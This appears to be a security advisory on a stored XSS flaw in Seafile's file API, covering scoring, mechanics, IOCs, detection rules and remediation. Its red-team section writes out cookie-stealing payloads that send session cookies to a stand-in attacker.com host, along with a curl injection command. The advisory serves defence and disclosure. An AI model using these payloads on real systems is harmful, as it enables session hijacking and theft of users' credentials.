CVE-2025-41080

Executive Summary

CVE-2025-41080 is a stored Cross-Site Scripting (XSS) vulnerability identified in Seafile v12.0.10. The flaw resides in the /api/v2.1/repos/{repo_id}/file/ endpoint, where the p POST parameter is not properly sanitized. An attacker can inject arbitrary JavaScript payloads that are stored on the server and executed in the context of any victim's browser when the malicious file metadata is rendered. This can lead to session hijacking, data exfiltration, or further compromise of the Seafile instance.

Supply Chain & Package Security

Seafile is a self-hosted file sync and share platform. While not a direct package manager dependency (like NPM or PyPI), organizations using Seafile should verify the integrity of their deployment. No official patch or advisory has been released by the vendor at this time.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N (Score: 5.4 - Medium)

• Attack Vector (AV): Network – the endpoint is accessible over the network.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – an attacker needs a valid account to upload files.
• User Interaction (UI): Required – the victim must view the malicious file metadata.
• Scope (S): Changed – the vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – stored data can be modified via XSS.
• Availability (A): None – no direct impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored nature of the XSS increases persistence and potential impact.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Seafile REST API. The endpoint /api/v2.1/repos/{repo_id}/file/ accepts a POST request with a p parameter representing the file path. When a file is uploaded or its metadata is updated, the p parameter is stored in the database without proper sanitization. When another user (or the same user) views the file listing or details, the unsanitized payload is rendered in the browser, executing the injected script.

Attack Flow:

1. Attacker authenticates to Seafile (requires valid credentials).
2. Attacker sends a POST request to /api/v2.1/repos/{repo_id}/file/ with a malicious p parameter, e.g., <script>alert('XSS')</script>.
3. The server stores the payload in the file metadata.
4. Victim navigates to the repository or file listing page.
5. The victim's browser executes the stored script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Seafile v12.0.10): The p parameter is directly used in responses without encoding. Example (pseudo-code):

def file_upload(repo_id):
    path = request.form['p']
    # No sanitization
    return render_template('file_info.html', path=path)

Patched Code (Expected): The p parameter should be HTML-encoded before rendering. Example:

from html import escape

def file_upload(repo_id):
    path = escape(request.form['p'])
    return render_template('file_info.html', path=path)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid Seafile user credentials.
• Access to a repository with write permissions.

Exploit Steps:

1. Craft a malicious payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the payload via the API:

   curl -X POST "https://target.seafile.com/api/v2.1/repos/{repo_id}/file/" \
        -H "Authorization: Token <your_token>" \
        -d "p=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
   

3. Wait for a victim to view the file listing.
4. Receive the stolen cookies at your attacker-controlled server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?data='+btoa(document.cookie)">

Blue Team

Detection:

• Monitor API logs for suspicious p parameter values containing <script>, <img>, or other HTML tags.
• Use WAF rules to block POST requests to /api/v2.1/repos/*/file/ with HTML/JavaScript in the p parameter.

Mitigation:

• Apply input validation and output encoding for all user-supplied data.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Disable the vulnerable endpoint if not required, or restrict access to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/v2.1/repos/*/file/ with p parameter containing <script> or onerror attributes.
  • Outbound connections to unknown domains from Seafile server (potential data exfiltration).

• File IOCs:

  • File names or paths containing HTML/JavaScript code in the database.

• Log IOCs:

  • Repeated 200 responses to the vulnerable endpoint with unusual p values.
  • User agent strings not matching typical Seafile clients.

Detection Engineering

YARA Rule

rule CVE_2025_41080_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Seafile file paths"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41080"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /<svg[^>]*onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: Seafile Stored XSS via File Path Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to Seafile API with XSS payloads in the p parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: "/api/v2.1/repos/*/file/"
        http.body|contains: 
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate file names containing HTML tags (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-41080 Seafile Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v2.1/repos/"; http_uri; content:"/file/"; http_uri; pcre:"/<script|<img[^>]*onerror|<svg[^>]*onload/Pi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not critical for operations.
2. Implement input validation – reject any p parameter containing HTML tags.
3. Apply output encoding – use a templating engine that auto-escapes HTML (e.g., Jinja2 with |e filter).
4. Deploy WAF rules to block malicious payloads.

Long-Term Fix:

• Upgrade to a patched version of Seafile once released.
• Conduct a security audit of all API endpoints for similar injection flaws.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Restrict API access to trusted IPs or use VPN for administrative actions.
• Monitor logs for anomalous POST requests to the vulnerable endpoint.

Valters IT
Securing Digital Frontiers